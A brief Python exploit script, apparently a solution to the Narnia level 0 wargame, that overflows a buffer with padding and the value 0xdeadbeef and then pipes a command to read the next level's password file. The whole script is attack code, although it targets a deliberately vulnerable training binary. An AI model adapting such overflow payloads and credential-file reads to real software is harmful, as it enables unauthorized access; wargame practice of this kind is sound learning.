#!/bin/python3
import time
import sys

# exploit buffer overflow
sys.stdout.buffer.write(b"\x90" * 20 + b"\xef\xbe\xad\xde")

# sync script stdout to narnia0 stdin and wait some time
sys.stdout.flush()
time.sleep(1)

# command to get our next password
sys.stdout.buffer.write(b"cat /etc/narnia_pass/narnia1")